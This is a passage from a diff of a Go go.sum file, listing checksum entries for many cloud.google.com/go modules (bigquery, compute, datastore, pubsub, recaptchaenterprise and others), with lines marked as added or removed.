v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= +cloud.google.com/go/bigquery v1.42.0/go.mod h1:8dRTJxhtG+vwBKzE5OseQn/hiydoQN3EedCaOdYmxRA= +cloud.google.com/go/bigquery v1.43.0/go.mod h1:ZMQcXHsl+xmU1z36G2jNGZmKp9zNY5BUua5wDgmNCfw= +cloud.google.com/go/bigquery v1.44.0/go.mod h1:0Y33VqXTEsbamHJvJHdFmtqHvMIY28aK1+dFsvaChGc= +cloud.google.com/go/billing v1.4.0/go.mod h1:g9IdKBEFlItS8bTtlrZdVLWSSdSyFUZKXNS02zKMOZY= +cloud.google.com/go/billing v1.5.0/go.mod h1:mztb1tBc3QekhjSgmpf/CV4LzWXLzCArwpLmP2Gm88s= +cloud.google.com/go/billing v1.6.0/go.mod h1:WoXzguj+BeHXPbKfNWkqVtDdzORazmCjraY+vrxcyvI= +cloud.google.com/go/billing v1.7.0/go.mod h1:q457N3Hbj9lYwwRbnlD7vUpyjq6u5U1RAOArInEiD5Y= +cloud.google.com/go/binaryauthorization v1.1.0/go.mod h1:xwnoWu3Y84jbuHa0zd526MJYmtnVXn0syOjaJgy4+dM= +cloud.google.com/go/binaryauthorization v1.2.0/go.mod h1:86WKkJHtRcv5ViNABtYMhhNWRrD1Vpi//uKEy7aYEfI= +cloud.google.com/go/binaryauthorization v1.3.0/go.mod h1:lRZbKgjDIIQvzYQS1p99A7/U1JqvqeZg0wiI5tp6tg0= +cloud.google.com/go/binaryauthorization v1.4.0/go.mod h1:tsSPQrBd77VLplV70GUhBf/Zm3FsKmgSqgm4UmiDItk= +cloud.google.com/go/certificatemanager v1.3.0/go.mod h1:n6twGDvcUBFu9uBgt4eYvvf3sQ6My8jADcOVwHmzadg= +cloud.google.com/go/certificatemanager v1.4.0/go.mod h1:vowpercVFyqs8ABSmrdV+GiFf2H/ch3KyudYQEMM590= +cloud.google.com/go/channel v1.8.0/go.mod h1:W5SwCXDJsq/rg3tn3oG0LOxpAo6IMxNa09ngphpSlnk= +cloud.google.com/go/channel v1.9.0/go.mod h1:jcu05W0my9Vx4mt3/rEHpfxc9eKi9XwsdDL8yBMbKUk= +cloud.google.com/go/cloudbuild v1.3.0/go.mod h1:WequR4ULxlqvMsjDEEEFnOG5ZSRSgWOywXYDb1vPE6U= +cloud.google.com/go/cloudbuild v1.4.0/go.mod h1:5Qwa40LHiOXmz3386FrjrYM93rM/hdRr7b53sySrTqA= +cloud.google.com/go/clouddms v1.3.0/go.mod h1:oK6XsCDdW4Ib3jCCBugx+gVjevp2TMXFtgxvPSee3OM= +cloud.google.com/go/clouddms v1.4.0/go.mod h1:Eh7sUGCC+aKry14O1NRljhjyrr0NFC0G2cjwX0cByRk= +cloud.google.com/go/cloudtasks v1.5.0/go.mod h1:fD92REy1x5woxkKEkLdvavGnPJGEn8Uic9nWuLzqCpY= +cloud.google.com/go/cloudtasks v1.6.0/go.mod h1:C6Io+sxuke9/KNRkbQpihnW93SWDU3uXt92nu85HkYI= +cloud.google.com/go/cloudtasks v1.7.0/go.mod h1:ImsfdYWwlWNJbdgPIIGJWC+gemEGTBK/SunNQQNCAb4= +cloud.google.com/go/cloudtasks v1.8.0/go.mod h1:gQXUIwCSOI4yPVK7DgTVFiiP0ZW/eQkydWzwVMdHxrI= cloud.google.com/go/compute v0.1.0/go.mod h1:GAesmwr110a34z04OlxYkATPBEfVhkymfTBXtfbBFow= cloud.google.com/go/compute v1.3.0/go.mod h1:cCZiE1NHEtai4wiufUhW8I8S1JKkAnhnQJWM7YD99wM= cloud.google.com/go/compute v1.5.0/go.mod h1:9SMHyhJlzhlkJqrPAc839t2BZFTSk6Jdj6mkzQJeu0M= cloud.google.com/go/compute v1.6.0/go.mod h1:T29tfhtVbq1wvAPo0E3+7vhgmkOYeXjhFvz/FMzPu0s= cloud.google.com/go/compute v1.6.1/go.mod h1:g85FgpzFvNULZ+S8AYq87axRKuf2Kh7deLqV/jJ3thU= +cloud.google.com/go/compute v1.7.0/go.mod h1:435lt8av5oL9P3fv1OEzSbSUe+ybHXGMPQHHZWZxy9U= +cloud.google.com/go/compute v1.10.0/go.mod h1:ER5CLbMxl90o2jtNbGSbtfOpQKR0t15FOtRsugnLrlU= +cloud.google.com/go/compute v1.12.0/go.mod h1:e8yNOBcBONZU1vJKCvCoDw/4JQsA0dpM4x/6PIIOocU= +cloud.google.com/go/compute v1.12.1/go.mod h1:e8yNOBcBONZU1vJKCvCoDw/4JQsA0dpM4x/6PIIOocU= +cloud.google.com/go/compute v1.13.0/go.mod h1:5aPTS0cUNMIc1CE546K+Th6weJUNQErARyZtRXDJ8GE= +cloud.google.com/go/compute v1.14.0/go.mod h1:YfLtxrj9sU4Yxv+sXzZkyPjEyPBZfXHUvjxega5vAdo= +cloud.google.com/go/compute/metadata v0.1.0/go.mod h1:Z1VN+bulIf6bt4P/C37K4DyZYZEXYonfTBHHFPO/4UU= +cloud.google.com/go/compute/metadata v0.2.1/go.mod h1:jgHgmJd2RKBGzXqF5LR2EZMGxBkeanZ9wwa75XHJgOM= +cloud.google.com/go/compute/metadata v0.2.3/go.mod h1:VAV5nSsACxMJvgaAuX6Pk2AawlZn8kiOGuCv6gTkwuA= +cloud.google.com/go/contactcenterinsights v1.3.0/go.mod h1:Eu2oemoePuEFc/xKFPjbTuPSj0fYJcPls9TFlPNnHHY= +cloud.google.com/go/contactcenterinsights v1.4.0/go.mod h1:L2YzkGbPsv+vMQMCADxJoT9YiTTnSEd6fEvCeHTYVck= +cloud.google.com/go/container v1.6.0/go.mod h1:Xazp7GjJSeUYo688S+6J5V+n/t+G5sKBTFkKNudGRxg= +cloud.google.com/go/container v1.7.0/go.mod h1:Dp5AHtmothHGX3DwwIHPgq45Y8KmNsgN3amoYfxVkLo= +cloud.google.com/go/containeranalysis v0.5.1/go.mod h1:1D92jd8gRR/c0fGMlymRgxWD3Qw9C1ff6/T7mLgVL8I= +cloud.google.com/go/containeranalysis v0.6.0/go.mod h1:HEJoiEIu+lEXM+k7+qLCci0h33lX3ZqoYFdmPcoO7s4= +cloud.google.com/go/datacatalog v1.3.0/go.mod h1:g9svFY6tuR+j+hrTw3J2dNcmI0dzmSiyOzm8kpLq0a0= +cloud.google.com/go/datacatalog v1.5.0/go.mod h1:M7GPLNQeLfWqeIm3iuiruhPzkt65+Bx8dAKvScX8jvs= +cloud.google.com/go/datacatalog v1.6.0/go.mod h1:+aEyF8JKg+uXcIdAmmaMUmZ3q1b/lKLtXCmXdnc0lbc= +cloud.google.com/go/datacatalog v1.7.0/go.mod h1:9mEl4AuDYWw81UGc41HonIHH7/sn52H0/tc8f8ZbZIE= +cloud.google.com/go/datacatalog v1.8.0/go.mod h1:KYuoVOv9BM8EYz/4eMFxrr4DUKhGIOXxZoKYF5wdISM= +cloud.google.com/go/dataflow v0.6.0/go.mod h1:9QwV89cGoxjjSR9/r7eFDqqjtvbKxAK2BaYU6PVk9UM= +cloud.google.com/go/dataflow v0.7.0/go.mod h1:PX526vb4ijFMesO1o202EaUmouZKBpjHsTlCtB4parQ= +cloud.google.com/go/dataform v0.3.0/go.mod h1:cj8uNliRlHpa6L3yVhDOBrUXH+BPAO1+KFMQQNSThKo= +cloud.google.com/go/dataform v0.4.0/go.mod h1:fwV6Y4Ty2yIFL89huYlEkwUPtS7YZinZbzzj5S9FzCE= +cloud.google.com/go/dataform v0.5.0/go.mod h1:GFUYRe8IBa2hcomWplodVmUx/iTL0FrsauObOM3Ipr0= +cloud.google.com/go/datafusion v1.4.0/go.mod h1:1Zb6VN+W6ALo85cXnM1IKiPw+yQMKMhB9TsTSRDo/38= +cloud.google.com/go/datafusion v1.5.0/go.mod h1:Kz+l1FGHB0J+4XF2fud96WMmRiq/wj8N9u007vyXZ2w= +cloud.google.com/go/datalabeling v0.5.0/go.mod h1:TGcJ0G2NzcsXSE/97yWjIZO0bXj0KbVlINXMG9ud42I= +cloud.google.com/go/datalabeling v0.6.0/go.mod h1:WqdISuk/+WIGeMkpw/1q7bK/tFEZxsrFJOJdY2bXvTQ= +cloud.google.com/go/dataplex v1.3.0/go.mod h1:hQuRtDg+fCiFgC8j0zV222HvzFQdRd+SVX8gdmFcZzA= +cloud.google.com/go/dataplex v1.4.0/go.mod h1:X51GfLXEMVJ6UN47ESVqvlsRplbLhcsAt0kZCCKsU0A= +cloud.google.com/go/dataproc v1.7.0/go.mod h1:CKAlMjII9H90RXaMpSxQ8EU6dQx6iAYNPcYPOkSbi8s= +cloud.google.com/go/dataproc v1.8.0/go.mod h1:5OW+zNAH0pMpw14JVrPONsxMQYMBqJuzORhIBfBn9uI= +cloud.google.com/go/dataqna v0.5.0/go.mod h1:90Hyk596ft3zUQ8NkFfvICSIfHFh1Bc7C4cK3vbhkeo= +cloud.google.com/go/dataqna v0.6.0/go.mod h1:1lqNpM7rqNLVgWBJyk5NF6Uen2PHym0jtVJonplVsDA= cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= -cloud.google.com/go/firestore v1.6.1/go.mod h1:asNXNOzBdyVQmEU+ggO8UPodTkEVFW5Qx+rwHnAz+EY= +cloud.google.com/go/datastore v1.10.0/go.mod h1:PC5UzAmDEkAmkfaknstTYbNpgE49HAgW2J1gcgUfmdM= +cloud.google.com/go/datastream v1.2.0/go.mod h1:i/uTP8/fZwgATHS/XFu0TcNUhuA0twZxxQ3EyCUQMwo= +cloud.google.com/go/datastream v1.3.0/go.mod h1:cqlOX8xlyYF/uxhiKn6Hbv6WjwPPuI9W2M9SAXwaLLQ= +cloud.google.com/go/datastream v1.4.0/go.mod h1:h9dpzScPhDTs5noEMQVWP8Wx8AFBRyS0s8KWPx/9r0g= +cloud.google.com/go/datastream v1.5.0/go.mod h1:6TZMMNPwjUqZHBKPQ1wwXpb0d5VDVPl2/XoS5yi88q4= +cloud.google.com/go/deploy v1.4.0/go.mod h1:5Xghikd4VrmMLNaF6FiRFDlHb59VM59YoDQnOUdsH/c= +cloud.google.com/go/deploy v1.5.0/go.mod h1:ffgdD0B89tToyW/U/D2eL0jN2+IEV/3EMuXHA0l4r+s= +cloud.google.com/go/dialogflow v1.15.0/go.mod h1:HbHDWs33WOGJgn6rfzBW1Kv807BE3O1+xGbn59zZWI4= +cloud.google.com/go/dialogflow v1.16.1/go.mod h1:po6LlzGfK+smoSmTBnbkIZY2w8ffjz/RcGSS+sh1el0= +cloud.google.com/go/dialogflow v1.17.0/go.mod h1:YNP09C/kXA1aZdBgC/VtXX74G/TKn7XVCcVumTflA+8= +cloud.google.com/go/dialogflow v1.18.0/go.mod h1:trO7Zu5YdyEuR+BhSNOqJezyFQ3aUzz0njv7sMx/iek= +cloud.google.com/go/dialogflow v1.19.0/go.mod h1:JVmlG1TwykZDtxtTXujec4tQ+D8SBFMoosgy+6Gn0s0= +cloud.google.com/go/dlp v1.6.0/go.mod h1:9eyB2xIhpU0sVwUixfBubDoRwP+GjeUoxxeueZmqvmM= +cloud.google.com/go/dlp v1.7.0/go.mod h1:68ak9vCiMBjbasxeVD17hVPxDEck+ExiHavX8kiHG+Q= +cloud.google.com/go/documentai v1.7.0/go.mod h1:lJvftZB5NRiFSX4moiye1SMxHx0Bc3x1+p9e/RfXYiU= +cloud.google.com/go/documentai v1.8.0/go.mod h1:xGHNEB7CtsnySCNrCFdCyyMz44RhFEEX2Q7UD0c5IhU= +cloud.google.com/go/documentai v1.9.0/go.mod h1:FS5485S8R00U10GhgBC0aNGrJxBP8ZVpEeJ7PQDZd6k= +cloud.google.com/go/documentai v1.10.0/go.mod h1:vod47hKQIPeCfN2QS/jULIvQTugbmdc0ZvxxfQY1bg4= +cloud.google.com/go/domains v0.6.0/go.mod h1:T9Rz3GasrpYk6mEGHh4rymIhjlnIuB4ofT1wTxDeT4Y= +cloud.google.com/go/domains v0.7.0/go.mod h1:PtZeqS1xjnXuRPKE/88Iru/LdfoRyEHYA9nFQf4UKpg= +cloud.google.com/go/edgecontainer v0.1.0/go.mod h1:WgkZ9tp10bFxqO8BLPqv2LlfmQF1X8lZqwW4r1BTajk= +cloud.google.com/go/edgecontainer v0.2.0/go.mod h1:RTmLijy+lGpQ7BXuTDa4C4ssxyXT34NIuHIgKuP4s5w= +cloud.google.com/go/errorreporting v0.3.0/go.mod h1:xsP2yaAp+OAW4OIm60An2bbLpqIhKXdWR/tawvl7QzU= +cloud.google.com/go/essentialcontacts v1.3.0/go.mod h1:r+OnHa5jfj90qIfZDO/VztSFqbQan7HV75p8sA+mdGI= +cloud.google.com/go/essentialcontacts v1.4.0/go.mod h1:8tRldvHYsmnBCHdFpvU+GL75oWiBKl80BiqlFh9tp+8= +cloud.google.com/go/eventarc v1.7.0/go.mod h1:6ctpF3zTnaQCxUjHUdcfgcA1A2T309+omHZth7gDfmc= +cloud.google.com/go/eventarc v1.8.0/go.mod h1:imbzxkyAU4ubfsaKYdQg04WS1NvncblHEup4kvF+4gw= +cloud.google.com/go/filestore v1.3.0/go.mod h1:+qbvHGvXU1HaKX2nD0WEPo92TP/8AQuCVEBXNY9z0+w= +cloud.google.com/go/filestore v1.4.0/go.mod h1:PaG5oDfo9r224f8OYXURtAsY+Fbyq/bLYoINEK8XQAI= +cloud.google.com/go/firestore v1.9.0/go.mod h1:HMkjKHNTtRyZNiMzu7YAsLr9K3X2udY2AMwDaMEQiiE= +cloud.google.com/go/functions v1.6.0/go.mod h1:3H1UA3qiIPRWD7PeZKLvHZ9SaQhR26XIJcC0A5GbvAk= +cloud.google.com/go/functions v1.7.0/go.mod h1:+d+QBcWM+RsrgZfV9xo6KfA1GlzJfxcfZcRPEhDDfzg= +cloud.google.com/go/functions v1.8.0/go.mod h1:RTZ4/HsQjIqIYP9a9YPbU+QFoQsAlYgrwOXJWHn1POY= +cloud.google.com/go/functions v1.9.0/go.mod h1:Y+Dz8yGguzO3PpIjhLTbnqV1CWmgQ5UwtlpzoyquQ08= +cloud.google.com/go/gaming v1.5.0/go.mod h1:ol7rGcxP/qHTRQE/RO4bxkXq+Fix0j6D4LFPzYTIrDM= +cloud.google.com/go/gaming v1.6.0/go.mod h1:YMU1GEvA39Qt3zWGyAVA9bpYz/yAhTvaQ1t2sK4KPUA= +cloud.google.com/go/gaming v1.7.0/go.mod h1:LrB8U7MHdGgFG851iHAfqUdLcKBdQ55hzXy9xBJz0+w= +cloud.google.com/go/gaming v1.8.0/go.mod h1:xAqjS8b7jAVW0KFYeRUxngo9My3f33kFmua++Pi+ggM= +cloud.google.com/go/gkebackup v0.2.0/go.mod h1:XKvv/4LfG829/B8B7xRkk8zRrOEbKtEam6yNfuQNH60= +cloud.google.com/go/gkebackup v0.3.0/go.mod h1:n/E671i1aOQvUxT541aTkCwExO/bTer2HDlj4TsBRAo= +cloud.google.com/go/gkeconnect v0.5.0/go.mod h1:c5lsNAg5EwAy7fkqX/+goqFsU1Da/jQFqArp+wGNr/o= +cloud.google.com/go/gkeconnect v0.6.0/go.mod h1:Mln67KyU/sHJEBY8kFZ0xTeyPtzbq9StAVvEULYK16A= +cloud.google.com/go/gkehub v0.9.0/go.mod h1:WYHN6WG8w9bXU0hqNxt8rm5uxnk8IH+lPY9J2TV7BK0= +cloud.google.com/go/gkehub v0.10.0/go.mod h1:UIPwxI0DsrpsVoWpLB0stwKCP+WFVG9+y977wO+hBH0= +cloud.google.com/go/gkemulticloud v0.3.0/go.mod h1:7orzy7O0S+5kq95e4Hpn7RysVA7dPs8W/GgfUtsPbrA= +cloud.google.com/go/gkemulticloud v0.4.0/go.mod h1:E9gxVBnseLWCk24ch+P9+B2CoDFJZTyIgLKSalC7tuI= +cloud.google.com/go/grafeas v0.2.0/go.mod h1:KhxgtF2hb0P191HlY5besjYm6MqTSTj3LSI+M+ByZHc= +cloud.google.com/go/gsuiteaddons v1.3.0/go.mod h1:EUNK/J1lZEZO8yPtykKxLXI6JSVN2rg9bN8SXOa0bgM= +cloud.google.com/go/gsuiteaddons v1.4.0/go.mod h1:rZK5I8hht7u7HxFQcFei0+AtfS9uSushomRlg+3ua1o= +cloud.google.com/go/iam v0.1.0/go.mod h1:vcUNEa0pEm0qRVpmWepWaFMIAI8/hjB9mO8rNCJtF6c= +cloud.google.com/go/iam v0.3.0/go.mod h1:XzJPvDayI+9zsASAFO68Hk07u3z+f+JrT2xXNdp4bnY= +cloud.google.com/go/iam v0.5.0/go.mod h1:wPU9Vt0P4UmCux7mqtRu6jcpPAb74cP1fh50J3QpkUc= +cloud.google.com/go/iam v0.6.0/go.mod h1:+1AH33ueBne5MzYccyMHtEKqLE4/kJOibtffMHDMFMc= +cloud.google.com/go/iam v0.7.0/go.mod h1:H5Br8wRaDGNc8XP3keLc4unfUUZeyH3Sfl9XpQEYOeg= +cloud.google.com/go/iam v0.8.0/go.mod h1:lga0/y3iH6CX7sYqypWJ33hf7kkfXJag67naqGESjkE= +cloud.google.com/go/iap v1.4.0/go.mod h1:RGFwRJdihTINIe4wZ2iCP0zF/qu18ZwyKxrhMhygBEc= +cloud.google.com/go/iap v1.5.0/go.mod h1:UH/CGgKd4KyohZL5Pt0jSKE4m3FR51qg6FKQ/z/Ix9A= +cloud.google.com/go/ids v1.1.0/go.mod h1:WIuwCaYVOzHIj2OhN9HAwvW+DBdmUAdcWlFxRl+KubM= +cloud.google.com/go/ids v1.2.0/go.mod h1:5WXvp4n25S0rA/mQWAg1YEEBBq6/s+7ml1RDCW1IrcY= +cloud.google.com/go/iot v1.3.0/go.mod h1:r7RGh2B61+B8oz0AGE+J72AhA0G7tdXItODWsaA2oLs= +cloud.google.com/go/iot v1.4.0/go.mod h1:dIDxPOn0UvNDUMD8Ger7FIaTuvMkj+aGk94RPP0iV+g= +cloud.google.com/go/kms v1.4.0/go.mod h1:fajBHndQ+6ubNw6Ss2sSd+SWvjL26RNo/dr7uxsnnOA= +cloud.google.com/go/kms v1.5.0/go.mod h1:QJS2YY0eJGBg3mnDfuaCyLauWwBJiHRboYxJ++1xJNg= +cloud.google.com/go/kms v1.6.0/go.mod h1:Jjy850yySiasBUDi6KFUwUv2n1+o7QZFyuUJg6OgjA0= +cloud.google.com/go/language v1.4.0/go.mod h1:F9dRpNFQmJbkaop6g0JhSBXCNlO90e1KWx5iDdxbWic= +cloud.google.com/go/language v1.6.0/go.mod h1:6dJ8t3B+lUYfStgls25GusK04NLh3eDLQnWM3mdEbhI= +cloud.google.com/go/language v1.7.0/go.mod h1:DJ6dYN/W+SQOjF8e1hLQXMF21AkH2w9wiPzPCJa2MIE= +cloud.google.com/go/language v1.8.0/go.mod h1:qYPVHf7SPoNNiCL2Dr0FfEFNil1qi3pQEyygwpgVKB8= +cloud.google.com/go/lifesciences v0.5.0/go.mod h1:3oIKy8ycWGPUyZDR/8RNnTOYevhaMLqh5vLUXs9zvT8= +cloud.google.com/go/lifesciences v0.6.0/go.mod h1:ddj6tSX/7BOnhxCSd3ZcETvtNr8NZ6t/iPhY2Tyfu08= +cloud.google.com/go/logging v1.6.1/go.mod h1:5ZO0mHHbvm8gEmeEUHrmDlTDSu5imF6MUP9OfilNXBw= +cloud.google.com/go/longrunning v0.1.1/go.mod h1:UUFxuDWkv22EuY93jjmDMFT5GPQKeFVJBIF6QlTqdsE= +cloud.google.com/go/longrunning v0.3.0/go.mod h1:qth9Y41RRSUE69rDcOn6DdK3HfQfsUI0YSmW3iIlLJc= +cloud.google.com/go/managedidentities v1.3.0/go.mod h1:UzlW3cBOiPrzucO5qWkNkh0w33KFtBJU281hacNvsdE= +cloud.google.com/go/managedidentities v1.4.0/go.mod h1:NWSBYbEMgqmbZsLIyKvxrYbtqOsxY1ZrGM+9RgDqInM= +cloud.google.com/go/maps v0.1.0/go.mod h1:BQM97WGyfw9FWEmQMpZ5T6cpovXXSd1cGmFma94eubI= +cloud.google.com/go/mediatranslation v0.5.0/go.mod h1:jGPUhGTybqsPQn91pNXw0xVHfuJ3leR1wj37oU3y1f4= +cloud.google.com/go/mediatranslation v0.6.0/go.mod h1:hHdBCTYNigsBxshbznuIMFNe5QXEowAuNmmC7h8pu5w= +cloud.google.com/go/memcache v1.4.0/go.mod h1:rTOfiGZtJX1AaFUrOgsMHX5kAzaTQ8azHiuDoTPzNsE= +cloud.google.com/go/memcache v1.5.0/go.mod h1:dk3fCK7dVo0cUU2c36jKb4VqKPS22BTkf81Xq617aWM= +cloud.google.com/go/memcache v1.6.0/go.mod h1:XS5xB0eQZdHtTuTF9Hf8eJkKtR3pVRCcvJwtm68T3rA= +cloud.google.com/go/memcache v1.7.0/go.mod h1:ywMKfjWhNtkQTxrWxCkCFkoPjLHPW6A7WOTVI8xy3LY= +cloud.google.com/go/metastore v1.5.0/go.mod h1:2ZNrDcQwghfdtCwJ33nM0+GrBGlVuh8rakL3vdPY3XY= +cloud.google.com/go/metastore v1.6.0/go.mod h1:6cyQTls8CWXzk45G55x57DVQ9gWg7RiH65+YgPsNh9s= +cloud.google.com/go/metastore v1.7.0/go.mod h1:s45D0B4IlsINu87/AsWiEVYbLaIMeUSoxlKKDqBGFS8= +cloud.google.com/go/metastore v1.8.0/go.mod h1:zHiMc4ZUpBiM7twCIFQmJ9JMEkDSyZS9U12uf7wHqSI= +cloud.google.com/go/monitoring v1.7.0/go.mod h1:HpYse6kkGo//7p6sT0wsIC6IBDET0RhIsnmlA53dvEk= +cloud.google.com/go/monitoring v1.8.0/go.mod h1:E7PtoMJ1kQXWxPjB6mv2fhC5/15jInuulFdYYtlcvT4= +cloud.google.com/go/networkconnectivity v1.4.0/go.mod h1:nOl7YL8odKyAOtzNX73/M5/mGZgqqMeryi6UPZTk/rA= +cloud.google.com/go/networkconnectivity v1.5.0/go.mod h1:3GzqJx7uhtlM3kln0+x5wyFvuVH1pIBJjhCpjzSt75o= +cloud.google.com/go/networkconnectivity v1.6.0/go.mod h1:OJOoEXW+0LAxHh89nXd64uGG+FbQoeH8DtxCHVOMlaM= +cloud.google.com/go/networkconnectivity v1.7.0/go.mod h1:RMuSbkdbPwNMQjB5HBWD5MpTBnNm39iAVpC3TmsExt8= +cloud.google.com/go/networkmanagement v1.4.0/go.mod h1:Q9mdLLRn60AsOrPc8rs8iNV6OHXaGcDdsIQe1ohekq8= +cloud.google.com/go/networkmanagement v1.5.0/go.mod h1:ZnOeZ/evzUdUsnvRt792H0uYEnHQEMaz+REhhzJRcf4= +cloud.google.com/go/networksecurity v0.5.0/go.mod h1:xS6fOCoqpVC5zx15Z/MqkfDwH4+m/61A3ODiDV1xmiQ= +cloud.google.com/go/networksecurity v0.6.0/go.mod h1:Q5fjhTr9WMI5mbpRYEbiexTzROf7ZbDzvzCrNl14nyU= +cloud.google.com/go/notebooks v1.2.0/go.mod h1:9+wtppMfVPUeJ8fIWPOq1UnATHISkGXGqTkxeieQ6UY= +cloud.google.com/go/notebooks v1.3.0/go.mod h1:bFR5lj07DtCPC7YAAJ//vHskFBxA5JzYlH68kXVdk34= +cloud.google.com/go/notebooks v1.4.0/go.mod h1:4QPMngcwmgb6uw7Po99B2xv5ufVoIQ7nOGDyL4P8AgA= +cloud.google.com/go/notebooks v1.5.0/go.mod h1:q8mwhnP9aR8Hpfnrc5iN5IBhrXUy8S2vuYs+kBJ/gu0= +cloud.google.com/go/optimization v1.1.0/go.mod h1:5po+wfvX5AQlPznyVEZjGJTMr4+CAkJf2XSTQOOl9l4= +cloud.google.com/go/optimization v1.2.0/go.mod h1:Lr7SOHdRDENsh+WXVmQhQTrzdu9ybg0NecjHidBq6xs= +cloud.google.com/go/orchestration v1.3.0/go.mod h1:Sj5tq/JpWiB//X/q3Ngwdl5K7B7Y0KZ7bfv0wL6fqVA= +cloud.google.com/go/orchestration v1.4.0/go.mod h1:6W5NLFWs2TlniBphAViZEVhrXRSMgUGDfW7vrWKvsBk= +cloud.google.com/go/orgpolicy v1.4.0/go.mod h1:xrSLIV4RePWmP9P3tBl8S93lTmlAxjm06NSm2UTmKvE= +cloud.google.com/go/orgpolicy v1.5.0/go.mod h1:hZEc5q3wzwXJaKrsx5+Ewg0u1LxJ51nNFlext7Tanwc= +cloud.google.com/go/osconfig v1.7.0/go.mod h1:oVHeCeZELfJP7XLxcBGTMBvRO+1nQ5tFG9VQTmYS2Fs= +cloud.google.com/go/osconfig v1.8.0/go.mod h1:EQqZLu5w5XA7eKizepumcvWx+m8mJUhEwiPqWiZeEdg= +cloud.google.com/go/osconfig v1.9.0/go.mod h1:Yx+IeIZJ3bdWmzbQU4fxNl8xsZ4amB+dygAwFPlvnNo= +cloud.google.com/go/osconfig v1.10.0/go.mod h1:uMhCzqC5I8zfD9zDEAfvgVhDS8oIjySWh+l4WK6GnWw= +cloud.google.com/go/oslogin v1.4.0/go.mod h1:YdgMXWRaElXz/lDk1Na6Fh5orF7gvmJ0FGLIs9LId4E= +cloud.google.com/go/oslogin v1.5.0/go.mod h1:D260Qj11W2qx/HVF29zBg+0fd6YCSjSqLUkY/qEenQU= +cloud.google.com/go/oslogin v1.6.0/go.mod h1:zOJ1O3+dTU8WPlGEkFSh7qeHPPSoxrcMbbK1Nm2iX70= +cloud.google.com/go/oslogin v1.7.0/go.mod h1:e04SN0xO1UNJ1M5GP0vzVBFicIe4O53FOfcixIqTyXo= +cloud.google.com/go/phishingprotection v0.5.0/go.mod h1:Y3HZknsK9bc9dMi+oE8Bim0lczMU6hrX0UpADuMefr0= +cloud.google.com/go/phishingprotection v0.6.0/go.mod h1:9Y3LBLgy0kDTcYET8ZH3bq/7qni15yVUoAxiFxnlSUA= +cloud.google.com/go/policytroubleshooter v1.3.0/go.mod h1:qy0+VwANja+kKrjlQuOzmlvscn4RNsAc0e15GGqfMxg= +cloud.google.com/go/policytroubleshooter v1.4.0/go.mod h1:DZT4BcRw3QoO8ota9xw/LKtPa8lKeCByYeKTIf/vxdE= +cloud.google.com/go/privatecatalog v0.5.0/go.mod h1:XgosMUvvPyxDjAVNDYxJ7wBW8//hLDDYmnsNcMGq1K0= +cloud.google.com/go/privatecatalog v0.6.0/go.mod h1:i/fbkZR0hLN29eEWiiwue8Pb+GforiEIBnV9yrRUOKI= cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= +cloud.google.com/go/pubsub v1.26.0/go.mod h1:QgBH3U/jdJy/ftjPhTkyXNj543Tin1pRYcdcPRnFIRI= +cloud.google.com/go/pubsub v1.27.1/go.mod h1:hQN39ymbV9geqBnfQq6Xf63yNhUAhv9CZhzp5O6qsW0= +cloud.google.com/go/pubsublite v1.5.0/go.mod h1:xapqNQ1CuLfGi23Yda/9l4bBCKz/wC3KIJ5gKcxveZg= +cloud.google.com/go/recaptchaenterprise v1.3.1/go.mod h1:OdD+q+y4XGeAlxRaMn1Y7/GveP6zmq76byL6tjPE7d4= +cloud.google.com/go/recaptchaenterprise/v2 v2.1.0/go.mod h1:w9yVqajwroDNTfGuhmOjPDN//rZGySaf6PtFVcSCa7o= +cloud.google.com/go/recaptchaenterprise/v2 v2.2.0/go.mod h1:/Zu5jisWGeERrd5HnlS3EUGb/D335f9k51B/FVil0jk= +cloud.google.com/go/recaptchaenterprise/v2 v2.3.0/go.mod h1:O9LwGCjrhGHBQET5CA7dd5NwwNQUErSgEDit1DLNTdo= +cloud.google.com/go/recaptchaenterprise/v2 v2.4.0/go.mod h1:Am3LHfOuBstrLrNCBrlI5sbwx9LBg3te2N6hGvHn2mE= +cloud.google.com/go/recaptchaenterprise/v2 v2.5.0/go.mod h1:O8LzcHXN3rz0j+LBC91jrwI3R+1ZSZEWrfL7XHgNo9U= +cloud.google.com/go/recommendationengine v0.5.0/go.mod h1:E5756pJcVFeVgaQv3WNpImkFP8a+RptV6dDLGPILjvg= +cloud.google.com/go/recommendationengine v0.6.0/go.mod h1:08mq2umu9oIqc7tDy8sx+MNJdLG0fUi3vaSVbztHgJ4= +cloud.google.com/go/recommender v1.5.0/go.mod h1:jdoeiBIVrJe9gQjwd759ecLJbxCDED4A6p+mqoqDvTg= +cloud.google.com/go/recommender v1.6.0/go.mod h1:+yETpm25mcoiECKh9DEScGzIRyDKpZ0cEhWGo+8bo+c= +cloud.google.com/go/recommender v1.7.0/go.mod h1:XLHs/W+T8olwlGOgfQenXBTbIseGclClff6lhFVe9Bs= +cloud.google.com/go/recommender v1.8.0/go.mod h1:PkjXrTT05BFKwxaUxQmtIlrtj0kph108r02ZZQ5FE70= +cloud.google.com/go/redis v1.7.0/go.mod h1:V3x5Jq1jzUcg+UNsRvdmsfuFnit1cfe3Z/PGyq/lm4Y= +cloud.google.com/go/redis v1.8.0/go.mod h1:Fm2szCDavWzBk2cDKxrkmWBqoCiL1+Ctwq7EyqBCA/A= +cloud.google.com/go/redis v1.9.0/go.mod h1:HMYQuajvb2D0LvMgZmLDZW8V5aOC/WxstZHiy4g8OiA= +cloud.google.com/go/redis v1.10.0/go.mod h1:ThJf3mMBQtW18JzGgh41/Wld6vnDDc/F/F35UolRZPM= +cloud.google.com/go/resourcemanager v1.3.0/go.mod h1:bAtrTjZQFJkiWTPDb1WBjzvc6/kifjj4QBYuKCCoqKA= +cloud.google.com/go/resourcemanager 